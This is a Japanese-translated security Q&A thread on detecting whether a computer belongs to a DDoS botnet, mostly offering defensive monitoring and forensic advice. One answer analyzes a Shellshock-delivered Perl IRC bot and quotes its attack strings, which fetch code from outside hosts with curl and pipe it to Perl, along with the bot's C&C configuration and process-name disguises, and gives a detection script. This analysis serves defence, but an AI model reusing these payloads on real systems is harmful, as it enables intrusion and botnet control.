web-dev-qa-db-ja.com

コンピューターがボットネットベースのDDoS攻撃に使用されているかどうかを確認するにはどうすればよいですか?

A botnet は、侵入先のコンピュータのコレクションであり、それぞれが「ボット」と呼ばれ、インターネットに接続されています。コンピューターが攻撃者によって侵害された場合、マルウェア内にボットネットの一部になるように命令するコードが含まれていることがよくあります。 「botmaster」または「bot herder」は、IRCやhttpなどの標準ベースのネットワークプロトコルを介して、これらの侵入されたコンピュータを制御します。

ボットネットベースのDDoS攻撃でコンピューターが使用されていることを検出する方法はありますか?

奇妙なトラフィックを検出して私のコンピューターからのアクティビティを悪用するソフトウェアなどのツールはありますか?

22
Diogo

マシンがボットネットの一部であるかどうかを検出する簡単な方法はありません。代わりに、最善の防御策は予防です。そもそも感染を避けることです。

セキュリティ違反を回避する方法についてはたくさん書かれていますが、ここで繰り返すことはできません。手始めに、たとえば 非技術者向けのセキュリティガイドWindows hardeningHardening Linux Server 、または-を読むことができます。 Secure Linux Desktop 。幸せな読書!

16
D.W.

カーネルと実行可能ファイルを実行前に分析することは、通常は安全な方法ですが、SELinuxなどの強力なOSアクセス制御モデルと組み合わせるのが最適です。

自己変更または自己チェックコードでバックドアを見つけることは困難ですが、通常、自己変更または自己チェックコード自体の存在はマルウェアの指標です。たとえば、MANDIANT Red Curtainツールは、マルウェアアナリストがコードのセクションの高いエントロピー、またはこれらのセクションの奇妙な名前/パターンを検出するのに役立ちます。

さらに、トレース、エミュレーションなど、他の多くのプラクティスが存在します(すべてが文書化されているわけではありません)。マルウェアアナリストは静的分析から動的分析に移行し、非常にすばやく(全体像を把握するため)戻るため、これらの方法をすべて1つのツールまたは手法に組み合わせることは一般的ではありません。ただし、最小限のツールセットを使用した段階的なアプローチでは、非常に短い時間で多くのことを達成できます。たとえば、サンドボックスで実行する前に、PE実行可能ファイルに対して pescanner.py を使用し、PEプロセスのメモリダンパーや( [〜#〜]ピン[〜#〜]

最近 の文献のいくつかは、この研究分野でますます優れています。

10
atdre

まず、悪意のあるアクティビティの存在を隠すためにすべてのユーティリティの出力が偽造される可能性があるため、侵入先のコンピュータを信頼することはできません。

一般に、堅牢なセキュリティ対策が施されたコンピューターがボットネットの一部になることはないと思います。信頼できるソースからコードをインストールしたり、強力なパスワード(他では使用されない)を使用したりする場合など。私のISPがボットの可能性を示すIPアドレスからの異常なアクティビティの報告を受けたと報告した場合、またはユーザーからの指示がない限り彼らはだまされて、宣伝どおりに機能しないソフトウェアをインストールし、トロイの木馬である可能性が高いことに気づきました。

これらの場合、私は潜在的なボットの兆候をテストし始めます。

  • ネットワーク活動を監視します。 netstatを実行します-すべての接続は多かれ少なかれ意味がありますか? (ローカル接続は無視してください。認識できない外部IPでwhoisを実行してください)。 netstatの出力は偽造されている可能性があるので、ローカルネットワーク上の別のコンピューター(安全だと思われる)からWireshark(ネットワークアナライザー)を実行し、奇妙な非ローカルIPとの間の異常なトラフィックがないか確認してください。アドレス(ルーター/ネットワークプリンターなどからのルーチンのことではありません)?

  • 同じディストリビューションの live cd を起動して(ユーティリティを信頼できるように)、重要なユーティリティ(/bin/sbin//usr/bin/など)でチェックサム(md5)を実行し、既知のチェックサムと比較します。同じOS /バージョンの安全なコンピューター(または新規インストールを行い、すべての更新を実行してから、比較するチェックサムを生成します)。 (チェックサムが一致しない場合は、ユーティリティの更新が原因である可能性があります。バージョンを確認してさらに調査してください)。この回答ではlinux/unixシステムを想定していますが、何を確認すればよいのかわかっていれば、Windowsでも同じことができるでしょう。

ボットの証拠を見つけたら、データ(実行可能ファイルではない)をバックアップし、ハードディスクをきれいに拭き取り、異なるパスワードで安全なソースからOSを再インストールします。侵入先のコンピュータからマクロ(doc、pdfなど)を含む可能性のあるドキュメントを開くことには非常に注意が必要です(管理者/ルートとしてログインせずに、これらのファイルを再度表示する前に、関連するプログラムでマクロを無効にしてください)。ウイルススキャナーをインストールします)。

10
dr jimbob

本当に良いボットは、カーネルから身を隠すでしょう。

これを検出する唯一の方法は、外部の正常なマシンを使用して、マシンとインターネット間のトラフィックを盗聴することです。それでも、ボットが探していたときにボットが休止していたかどうかを知る方法はありません。

もう1つのオプションは、既知の良好な(できれば読み取り専用の)メディア(CDまたはDVDなど)からマシンを起動し、マシンのフォレンジック分析を行って感染の痕跡を探すことです。

9
Tinned_Tuna

ダークネットは、ネットワーク上の感染したマシンを発見するのに役立つ良い方法でもあります。これは本質的には、通常はトラフィックがルーティングされないはずのLAN上のサブネットであり、ロギングマシンがその中にあり、どのマシンが通常のネットワーク設定に従っていないかを検出します。感染するネットワーク上のノードをスキャンします。

正常な動作と異常な動作を把握しておく必要があるため、他のコンピュータに感染しようとする感染したマシンは、親指のように突き出ます。

9
deed02392

具体的な回答:DDoSセキュリティチームによるDDoS Perl IrcBot v1.0/2012

免責事項

  • これは、この特定のバージョンmalware(後で呼ばれるtool)...の周囲で行われました...これは一般的な方法ではありません。

  • マルウェアやウイルスと遊ぶことは有害になる可能性があります!専用ハードウェア、ユーザー、理想的にはインターネットに接続されていないものを使用してください!

警告されました!

前書き

私はこの回答を実用的なケースとして投稿しました。これは、これをすでに回避しているためですtool 2012年に初めて、そして最近はShellshockバグのためそして悪用...

以下と同じ文字列を含む疑わしいメールになりましたTo, References, Cc, From, Subject, Date, Message-ID, Comments, Keywords, Resent-Date and Resent-From

() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.x.x/ex.txt|Perl;lwp-downloa..

私はまずこれが面白いと思ったので、メールユーザーとサーバーを確認しました。

念のため、マルウェアをダウンロードしようとしましたが、残念ながらサーバーからドロップされました。

...数日後、1つのWebサーバーログでこれを確認しました。

... [27/Oct/2014:05:40:56 +0100] "GET /admin.cgi HTTP/1.0"  403 2132 \
        "() { :; }; curl http://202.143.x.x/lib21/index.cgi | Perl" \

フィールドrefereruser-agentには同じ文字列が含まれています。しかし、別のURLで。

解散

今回はtoolをダウンロードできました:

wget http://202.143.x.x/lib21/index.cgi
less index.cgi

#!/usr/bin/Perl
use MIME::Base64;
eval (decode_base64('DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI...
...IyMjIyMj'));

最初のステップは、それらを読みやすくすることです。これを行うには、evalprintに置き換えるだけです。

Perl <(sed s/eval/print/ index.cgi) >ircBot.pl

sed -ne '3,11{s/^\(.\{65\}\).*$/\1/;p}' ircBot.pl
#################################################################
##  DDoS Perl IrcBot v1.0 / 2012 by DDoS Security Team       ## [
##      Stealth MultiFunctional IrcBot writen in Perl          ##
##        Teste on every system with Perl instlled             ##
##                                                             ##
##     This is a free program used on your own risk.           ##
##        Created for educational purpose only.                ##
## I'm not responsible for the illegal use of this program.    ##
#################################################################

教育目的 !?

だから私たちは勉強することができます...

テスト中

解読されたバージョン を見つけることができます。 (私は私の投稿ではありません、 この投稿 を読んだ後、まったく同じ設定でそれらを見つけました)

注:runningこの種類のツールには、接続されていない専用のハードウェアを使用し、専用のvirtual machineを実行しますそれらを上位レベルから追跡、監視、または停止できるようにします。

    31      ##### [ Configuration ] #####
    32      #############################
    33      
    34      my @rps = ("/usr/local/Apache/bin/httpd -DSSL",
    35                         "/usr/sbin/httpd -k start -DSSL",
    36                 "/usr/sbin/httpd",
    37                         "/usr/sbin/sshd -i",
...
    43                         "/usr/sbin/acpid",
    44                         "/usr/sbin/cron");
    45      my $process = $rps[Rand scalar @rps];
    46      
    47      my $vers = "\001VERSION - unknown command.\001";
    48      my $ircname = "shock";
    49      my $realname = `uname -vr`;
    50      my $nick = "Perl";
    51      
    52      $server = 'fflyy.su' unless $server;
    53      my $port = '8080';
    54      
    55      my $linas_max='10';
    56      my $sleep='5';
    57      
    58      my $homedir = "/tmp";
    59      my $version = 'DDoS Perl Bot v1.0';
    60      
    61      my @admins = ("M","st0n3d","x00","Jorgee");
    62      my @hostauth = ("lolhome");
    63      my @channels = ("#mperl2");
    64      $unamea = `uname -a`;
    65      $uid = `id`;
    66      
    67      my $pacotes = 1;
    68      
    69      #################################################################
    70      ##### [ Stop Editing if you dont know what are you doing. ] #####

さて、31〜70行目で、あなたは設定を見つけるでしょう:

$processが45行目で文字列の配列からランダムに定義されていることはすでに確認できました。

$server, $port, $admins, @hostauth and @channelsを変更した後、ツールを実行します。

ラボ

  • 最初に言うこと:このツールは多くのCPUを加熱します。大きなシステムではこれは無害である可能性がありますが、私の貧弱な構成では、これは重要でした。

  • ボットは私のircに接続されています。スクリプトのヘッダーに表示されているように彼に尋ねることができ、/msgを送信すると、シェルコンソールのように使用できるプライベートチャットルームが開かれます。

  • サーバー側では、一度実行するとそれらは消えます。 ps axを実行すると、以前に存在しなかったプロセスhttpdが表示されますが、...

さて、今は十分です。それがどこにあるかをはっきりと示すために実行したいくつかのコマンドがあります(もちろん、このコマンドはすべてrootまたはSudoとして実行します):

  • 実行中のPerl実行可能ファイルを検索しています:

    ls -l /proc/*/exe | grep Perl
    lrwxrwxrwx 1 www-data www-data 0 oct 30 09:39 /proc/23664/exe -> /usr/bin/Perl
    

    これにより、Perlを実行可能として使用するすべてのプロセスが表示されます。これはcmdlineに基づいていません。

  • TCP接続を探しています:

    netstat -tanp | grep :8080
    tcp     0   0 192.168.4.3:33083   192.168.4.1:8080   ESTABLISHED 23664/httpd -DSSL
    

    この特定の構成(マルウェアの生成)では、ポート8080リモートポートとして使用されます。ポート8080を使用して通常のサーバーを保持している場合でも、このポートはlocal portとして使用されます。

  • Webサーバープロセスによって保持されていないユーザーのWebサーバーPIDを探しています

    ps --user www-data ho ppid,pid,cmd | sed -ne 's/^ *1 //p'
    23664 /usr/local/Apache/bin/httpd -DSSL
    
  • CPUを消費するプロセスの検索:

    top
    top - 09:48:00 up 58 days, 21:51,  1 user,  load average: 0.02, 0.03, 0.00
    Tasks:  15 total,   3 running,  12 sleeping,   0 stopped,   0 zombie
    %Cpu(s):  0.7 us,  0.3 sy,  0.0 ni, 98.9 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
    KiB Mem:    262144 total,    88164 used,   173980 free,        0 buffers
    KiB Swap:        0 total,        0 used,        0 free,        0 cached
    
      PID USER      PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND
    23664 www-data  20   0  7408 2956 1204 R  91.7  1.1   8:30.73 /usr/local/apac
        1 root      20   0  2152  724  620 S   0.0  0.3   0:36.47 init
     1028 root      20   0  2248  776  568 S   0.0  0.3   0:03.76 rpcbind
     1039 statd     20   0  2324 1072  820 S   0.0  0.4   0:00.00 rpc.statd
    

それらを殺します。

さて、これでこれを止める時が来ました:

kill -9 23664

さらなる使用のために、このツールは変更されないままですが、これをすぐに書きましたperlircbotKiller.pl(少なくとも同じ権限で実行できます)ボット自身よりも...またはルート、推測!)

#!/usr/bin/Perl

my @rps=("/usr/local/Apache/bin/httpd -DSSL", "/usr/sbin/httpd -k start -DSSL",
   "/usr/sbin/httpd", "/usr/sbin/sshd -i","/usr/sbin/sshd","/usr/sbin/sshd -D",
   "/usr/sbin/Apache2 -k start", "/sbin/syslogd", "/sbin/klogd -c 1 -x -x",
   "/usr/sbin/acpid", "/usr/sbin/cron");

opendir my $dh,"/proc";
map {
    open my $fh,"/proc/".$_."/cmdline";
    my $cmdline=<$fh>;
    close $fh;
    $cmdline=~s/\0*$//g;
    if (grep { $cmdline eq $_ } @rps) {
    printf "Sending SIGKILL to process %d\n", $_;
        kill 9, $_;
    }; }
grep { readlink("/proc/".$_."/exe") =~ m|/Perl| }
grep { /^\d+$/ }
readdir $dh;

...そして、私のファンは再び遅くなっています...

専用ツール

少し書き直した後、私は少し書きました Perlスクリプト

  • 難読化されたスクリプトを検索PerlpythonまたはphpApacheacpihttpdsshdなど...

  • 親pidが1であるプロセスを検索します。

  • 開いている接続のリスト

  • 不審なプロセスを削除する簡単な方法を提供します。

    Suspicious process      '5089',
        has parent pid: '1',
        run             '/usr/bin/Perl',
        claim to be     '/sbin/syslogd'
        and has port    tcp '8080'
        open to         '93.174.93.80'
    Send SIGKILL to 5089 (Y/n)? Y
    

これは、現在発生しているマルウェアの多くの派生物で問題なく動作しますが、同じ方法を使用して他のマルウェアでも動作することを願っています。

結論。

  • このtool(Perl ircボット)は完全には見えませんが、実行されると、感染したユーザーが実行できるすべてのことを提供します。 (ユーザーの権限付き)。

  • このバージョンのShellshock攻撃では、マルウェアは感染したシステムに保存されないため、単純なrebootでそれらを削除できます。

  • 他のツールに注意してください。攻撃者はこれを使用すると、これを使用できますtoolが開始されます!特に:cronおよびatですが、スクリプトまたはバイナリserが実行され、変更される可能性があります。

  • その他のローカルセキュリティの問題に注意してくださいローカル権限の昇格も許可します!!

1
F. Hauri

1)シャットダウン時にバッテリーが消耗します。

2)バッテリーまたは電源コードが取り外されない限り、PCまたはラップトップが実際にシャットダウンすることはありません。

3)ワイヤレスアダプターが無効になっていますが、リモートワイヤレス接続がまだ存在している必要があります。 (さまざまな理由により、ここには記載しません)

4)不明なユーザーがC:ドライブなどの所有権を持っている。

5)system32内のファイルおよびCyber​​link、Bluetooth、Microsoft Shellなどのプログラムファイル(x86)へのアクセス許可を失った。

6)復元ポイントが消えた。

7)マカフィーまたはアバストのファイルシュレッダーは、突然断片化できないか、断片化しているように見えます。

8)行っていないファイアウォールの変更。

9)Windowsパーティションの外でシステムを復元しているときに、画面上にFBIデバッグモード

10)9)の場合、「システムが破壊された」。

1
MaxImpact

Uはネットワークアナライザーを使用できます。発信トラフィックを確認してください。ほとんどの攻撃は、http/tcp/udpプロトコルで巨大なパケットサイズ/高速間隔で開始します。

お使いのPCが頻繁に未知のサーバー/ IPに接続し、それに定期的に投稿/接続する場合。 BマスターからのC&Cサーバーによって制御されていることを確認できます。

1
Hidden

ボットの感染をチェックするためにTrendMicroから利用可能なツールがあります。

http://free.antivirus.com/us/rubotted/

1
tekybala

PCまたはネットワークがボットであるかどうかを確認するには、kasperskyサービス https://blog.kaspersky.com/simda-botnet-check/8304/ またはRUBotted( http: //free.antivirus.com/us/rubotted/ )by Trend Micro潜在的な感染やボットに関連する不審な活動についてコンピューターを監視すると主張しています。

1
Badr Bellaj